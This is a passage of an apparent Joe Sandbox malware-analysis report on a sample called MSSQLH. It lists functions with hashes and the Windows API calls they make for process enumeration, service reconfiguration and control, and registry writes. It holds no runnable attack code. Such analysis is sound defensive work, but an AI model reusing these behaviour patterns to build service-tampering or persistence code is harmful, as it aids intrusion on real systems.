Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Heap$Alloc$MessageProcess
String ID: error
API String ID: 2690588855-1574812785
Opcode ID: 8f50b85f6840a4cc576c752bfb5bee1e771f83f7d5ab06f7083a032a1b873261
Instruction ID: 816b7fad4875927f366d569d0d6e656df1f1a9404c6a14fd6ca6f5f6fb64380d
Opcode Fuzzy Hash: 8f50b85f6840a4cc576c752bfb5bee1e771f83f7d5ab06f7083a032a1b873261
Instruction Fuzzy Hash: 9AF0B4B5785310BFD7249B60AC09F7B3358AB44B41F018529FA45D6260FA78FC418B5E

Function 00405D01 Relevance: 7.9, APIs: 5, Instructions: 433processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00405D6C
Process32First.KERNEL32(000000FF,00000000), ref: 00405E49
CloseHandle.KERNEL32(000000FF), ref: 00405FC5
Process32Next.KERNEL32(000000FF,00000000), ref: 0040608F
CloseHandle.KERNEL32(000000FF,?,?,?,?,?,?,?,004043BE), ref: 00406179

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 7a441bc5aeb3ad52f61ef2c65db5e939210eb338252a382b265217464c86c041
Instruction ID: dc5eedc00860724bfa9913b46c8975e32baf473316fde2de03015eb8aa7aad09
Opcode Fuzzy Hash: 7a441bc5aeb3ad52f61ef2c65db5e939210eb338252a382b265217464c86c041
Instruction Fuzzy Hash: 6CE14CF1A402529BFB00CF58DCC1B9AB7B1EF59324F290475E506AB381D378B960DB56

Function 00411504 Relevance: 7.8, APIs: 5, Instructions: 282serviceCOMMON

Download Yara Rule

APIs

Part of subcall function 00413290: PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 004132AA
Part of subcall function 00413290: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004132D4
Part of subcall function 00413290: TranslateMessage.USER32(?), ref: 004132DB
Part of subcall function 00413290: DispatchMessageA.USER32(?), ref: 004132E2
Part of subcall function 00413290: PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 004132F1

CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411574

Part of subcall function 00413A00: Sleep.KERNEL32(00000000,004114B8,00000001,?,00000000,80000301), ref: 00413A09

QueryServiceStatus.ADVAPI32(00000000,?), ref: 004114C6
GlobalFree.KERNEL32(00000000), ref: 004115AC
CloseServiceHandle.ADVAPI32(00000000), ref: 004115D8
CloseServiceHandle.ADVAPI32(00000000), ref: 00411604

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Message$Service$CloseHandle$Peek$DispatchFreeGlobalQuerySleepStatusTranslate
String ID:
API String ID: 1939688605-0
Opcode ID: 32efb50de840e948679db2588b9398629e59ec8c82a084e3f21e77fdf329b5bf
Instruction ID: 117f761b4a7af6f79f8b1866d316df3377161737edd35b93125b37f663c107f2
Opcode Fuzzy Hash: 32efb50de840e948679db2588b9398629e59ec8c82a084e3f21e77fdf329b5bf
Instruction Fuzzy Hash: 6AA119B1E80205ABEF00DF94ECC1B9DBBB5EF59324F280065F605AB351D379A8A1CB15

Function 0040C800 Relevance: 7.7, APIs: 5, Instructions: 171serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040C832
OpenServiceA.ADVAPI32(00000000,00000000,000F01FF), ref: 0040C875
ChangeServiceConfigA.ADVAPI32(00000000,FFFFFFFF,FFFFFFFF,FFFFFFFF,?,?,00000000,?,?,?,?), ref: 0040C97B
CloseServiceHandle.ADVAPI32(00000000), ref: 0040CA00
CloseServiceHandle.ADVAPI32(00000000), ref: 0040CA2C

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ChangeConfigManager
String ID:
API String ID: 3054356760-0
Opcode ID: 2b380a6457738177badbecf6601e9cb7896205b9b05841ace75ad740c3925f33
Instruction ID: a3c67299cd71cb481e3b375e7410767327d508f248c06e059d24925bd11edca5
Opcode Fuzzy Hash: 2b380a6457738177badbecf6601e9cb7896205b9b05841ace75ad740c3925f33
Instruction Fuzzy Hash: D85142B1F40305FBEB109FA18C87BEEB670EB09704F144529F7247A2D1E7BA59508B99

Function 00408949 Relevance: 7.6, APIs: 5, Instructions: 147registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,0044BF57,00000000,?,?), ref: 004089AB
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,?,?), ref: 00408A3D
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00408ABE
RegCloseKey.ADVAPI32(?), ref: 00408AFE
RegCloseKey.ADVAPI32(?), ref: 00408B2A

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Close$CreateOpenValue
String ID:
API String ID: 678895439-0
Opcode ID: 94bc6afad5bd7dedcc07dd257eded3771248e5db1782c09375c3e278341a185b
Instruction ID: fcaa6e99cbe20dc0b218a51ef02516589933f7248049640629d4983fa7ffd03f
Opcode Fuzzy Hash: 94bc6afad5bd7dedcc07dd257eded3771248e5db1782c09375c3e278341a185b
Instruction Fuzzy Hash: 68513170E40309ABEF109F90DD47FAFB7B5EB09704F10006AF614BA2D1D7B55A509BA9

Function 00408953 Relevance: 7.6, APIs: 5, Instructions: 147registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,0044BF57,00000000,?,?), ref: 004089AB
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,?,?), ref: 00408A3D
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00408ABE
RegCloseKey.ADVAPI32(?), ref: 00408AFE
RegCloseKey.ADVAPI32(?), ref: 00408B2A

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Close$CreateOpenValue
String ID:
API String ID: 678895439-0
Opcode ID: 23595bcfaaf5c2b715f34ab9c48c3334205e0cfc3ff236b894e3ee665c7ba321
Instruction ID: 89dd892d579755c79416e57ad334d065e5c296f998b78fbfb2ab41177106c10b
Opcode Fuzzy Hash: 23595bcfaaf5c2b715f34ab9c48c3334205e0cfc3ff236b894e3ee665c7ba321
Instruction Fuzzy Hash: D7513170E40309ABEF109F90DD47FAFB7B5EB09704F10006AF614BA2D1D7B55A509BA9

Function 00408935 Relevance: 7.6, APIs: 5, Instructions: 147registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,0044BF57,00000000,?,?), ref: 004089AB
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,?,?), ref: 00408A3D
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00408ABE
RegCloseKey.ADVAPI32(?), ref: 00408AFE
RegCloseKey.ADVAPI32(?), ref: 00408B2A

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Close$CreateOpenValue
String ID:
API String ID: 678895439-0
Opcode ID: a4d3bb34c684f34e41564c738e387d0aed60984ba1cf289aa9fa2bbedf7855d1
Instruction ID: 01244b5288cf1f7c8b5e9b6d43fcebe0d9afc618c47e9b468c8a9d12375b0e12
Opcode Fuzzy Hash: a4d3bb34c684f34e41564c738e387d0aed60984ba1cf289aa9fa2bbedf7855d1
Instruction Fuzzy Hash: 95513170E40309ABEF109F90DD47FAFB7B5EB09704F10006AF614BA2D1D7B55A509BA9

Function 0040893F Relevance: 7.6, APIs: 5, Instructions: 147registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,0044BF57,00000000,?,?), ref: 004089AB
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,?,?), ref: 00408A3D
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00408ABE
RegCloseKey.ADVAPI32(?), ref: 00408AFE
RegCloseKey.ADVAPI32(?), ref: 00408B2A

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Close$CreateOpenValue
String ID:
API String ID: 678895439-0
Opcode ID: b1774086f6e4bc153f3456abd1607fbef2712f6c5cf5161b9a29a6bc6d53d7f9
Instruction ID: a26c84d4f99547ce993baceef9d7b1c829097467bbc2957ab258dace394cf55a
Opcode Fuzzy Hash: b1774086f6e4bc153f3456abd1607fbef2712f6c5cf5161b9a29a6bc6d53d7f9
Instruction Fuzzy Hash: 8F514170E40309ABEF109F90DD47FAFB7B5EB09704F10002AF614BA2D1D7B55A509BA9

Function 0040895D Relevance: 7.6, APIs: 5, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,0044BF57,00000000,?,?), ref: 004089AB
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,?,?), ref: 00408A3D
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00408ABE
RegCloseKey.ADVAPI32(?), ref: 00408AFE
RegCloseKey.ADVAPI32(?), ref: 00408B2A

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Close$CreateOpenValue
String ID:
API String ID: 678895439-0
Opcode ID: 84ff399d91a8d5a6c35208c8a1e9f25a8bd84c9d40838e6f0c8e869842450422
Instruction ID: 8190a267fbaaee06f4f894656a1d3c2656985a0de9b6aab34770bde347f8e435
Opcode Fuzzy Hash: 84ff399d91a8d5a6c35208c8a1e9f25a8bd84c9d40838e6f0c8e869842450422
Instruction Fuzzy Hash: 17512070E40309ABEF109F90DD47FAFBBB5EB09704F10006AF614BA2D1D7B55A509BA9

Function 0040A93B Relevance: 7.6, APIs: 5, Instructions: 111serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040A98A
OpenServiceA.ADVAPI32(00000000,?,80000000), ref: 0040A9CD
QueryServiceStatus.ADVAPI32(00000000,?), ref: 0040AA09
CloseServiceHandle.ADVAPI32(00000000), ref: 0040AA4E
CloseServiceHandle.ADVAPI32(00000000), ref: 0040AA7A

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ManagerQueryStatus
String ID:
API String ID: 2623946379-0
Opcode ID: d85a770ae28180b85192d8f9d5e71ac81b7fd2420d34eb5ba2d11683bef55beb
Instruction ID: c5a468871b5aa5b210b25f6718667112cef1b70a69e538a8a9b47e0df92e3f05
Opcode Fuzzy Hash: d85a770ae28180b85192d8f9d5e71ac81b7fd2420d34eb5ba2d11683bef55beb
Instruction Fuzzy Hash: B9314F70E40309EBDB10DFA0DD46BAEB7B0EB09300F504465F614BA2D1E2755B64DB9A

Function 0040B9FF Relevance: 7.6, APIs: 5, Instructions: 105serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000001), ref: 0040BA4E
OpenServiceA.ADVAPI32(00000000,00000000,00000020), ref: 0040BA91
ControlService.ADVAPI32(00000000,00000001,?), ref: 0040BAD2
CloseServiceHandle.ADVAPI32(00000000), ref: 0040BB01
CloseServiceHandle.ADVAPI32(00000000), ref: 0040BB2D

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ControlManager
String ID:
API String ID: 2705437689-0
Opcode ID: 11df8e777007569ef40b802e962f1de1e07f30198cbc3c71e9a8d353af258f90
Instruction ID: 13420fc73e5eb50468872d8f08846684c726411cbc6fff416d44fd0b62c8e7ae
Opcode Fuzzy Hash: 11df8e777007569ef40b802e962f1de1e07f30198cbc3c71e9a8d353af258f90
Instruction Fuzzy Hash: 8F313070E41309FBDB10EFA0DC4ABAEB6B0EB19701F104465F214BA2D0E7765B50DB9A

Function 0040BB6D Relevance: 7.6, APIs: 5, Instructions: 105serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040BBBC
OpenServiceA.ADVAPI32(00000000,00000000,000F01FF), ref: 0040BBFF
ControlService.ADVAPI32(00000000,00000002,?), ref: 0040BC40
CloseServiceHandle.ADVAPI32(00000000), ref: 0040BC6F
CloseServiceHandle.ADVAPI32(00000000), ref: 0040BC9B

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ControlManager
String ID:
API String ID: 2705437689-0
Opcode ID: 6d3d271c357df9a3182566e42a1641c905a4e635d900301bc9a3c7eb6a16b714
Instruction ID: a697f4b0610da0c011410f0e95ac4aac2c7f8d639e90ab3f4303f89e2291982b
Opcode Fuzzy Hash: 6d3d271c357df9a3182566e42a1641c905a4e635d900301bc9a3c7eb6a16b714
Instruction Fuzzy Hash: FD315070E40309BBEB10EFA0DD4ABAEBA70EB09701F100469F214BA2D1D7755650DB9A

Function 0040BCDB Relevance: 7.6, APIs: 5, Instructions: 105serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040BD2A
OpenServiceA.ADVAPI32(00000000,00000000,000F01FF), ref: 0040BD6D
ControlService.ADVAPI32(00000000,00000003,?), ref: 0040BDAE
CloseServiceHandle.ADVAPI32(00000000), ref: 0040BDDD
CloseServiceHandle.ADVAPI32(00000000), ref: 0040BE09

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ControlManager
String ID:
API String ID: 2705437689-0
Opcode ID: 23a7b75ffde6bfb62c5c8a542594530188f754f902e41963e07016012aa47f58
Instruction ID: c8958f23b70d6bb142d304508dba4b46f8f8e54132353fbffd1e5d2035ba9e44
Opcode Fuzzy Hash: 23a7b75ffde6bfb62c5c8a542594530188f754f902e41963e07016012aa47f58
Instruction Fuzzy Hash: 40313E70E40309BBDB10DFA4DC46BAEBAB0EF19711F104465F214BA2D0E7765750DB9A

Function 00421658 Relevance: 7.6, APIs: 5, Instructions: 52stringregistryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042165D
GetClassInfoA.USER32(?,?,?), ref: 00421678
RegisterClassA.USER32(00000004), ref: 00421683
lstrcatA.KERNEL32(00000034,?,00000001), ref: 004216BA
lstrcatA.KERNEL32(00000034,?), ref: 004216C8

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Classlstrcat$H_prologInfoRegister
String ID:
API String ID: 106226465-0
Opcode ID: 3dae6ca9c9f3dc5a8f6cd14e52580134f140524e7704a73aba9471b30cd4628a
Instruction ID: d62a2f5ed009f322b788f4643e8309c0ad57dff7ab443babd774281df3f96a64
Opcode Fuzzy Hash: 3dae6ca9c9f3dc5a8f6cd14e52580134f140524e7704a73aba9471b30cd4628a
Instruction Fuzzy Hash: 2F11E531700224AFCB10AF65AC05A9E7BB8EF55754F40451BF802A7551D7B9A601CBA9

Function 00413290 Relevance: 7.5, APIs: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 004132AA
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004132D4
TranslateMessage.USER32(?), ref: 004132DB
DispatchMessageA.USER32(?), ref: 004132E2
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 004132F1

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 221d4473c2947ece8e248aaef8c67d84a11d8e4866c5c991e45f603565b3185e
Instruction ID: 8dbfc7cd29e0ea0c2d9aefa581408d10282f5ad0878045ff6550e05d7eff4d4a
Opcode Fuzzy Hash: 221d4473c2947ece8e248aaef8c67d84a11d8e4866c5c991e45f603565b3185e
Instruction Fuzzy Hash: 5101A472340305B6E630EF54AC42FA7776CAB84B50F910859FB40AA1C1DA74FA09C76D

Function 00418A07 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000103,7FFFFFFF,004181CF,0041D320,00000000,?,?,00000000,00000001), ref: 00418A09
TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 00418A17
SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 00418A63

Part of subcall function 0041CCDB: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,00418A2C,00000001,00000074,?,?,00000000,00000001), ref: 0041CDD1

TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 00418A3B
GetCurrentThreadId.KERNEL32 ref: 00418A4C

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: 45bc233c8db9bbd318bc4bfb225e1fb112668f9e989af4d5a042e27f0a24e743
Instruction ID: 771c4e3abf94ffcb35b1ad7856f11ae6f2fdc2df621eea07c7f06833767109d7
Opcode Fuzzy Hash: 45bc233c8db9bbd318bc4bfb225e1fb112668f9e989af4d5a042e27f0a24e743
Instruction Fuzzy Hash: B5F0F632701611DFCB313B70AC099AA3B60AF007A1715067FF542962A0DF788C829BA9

Function 00425087 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

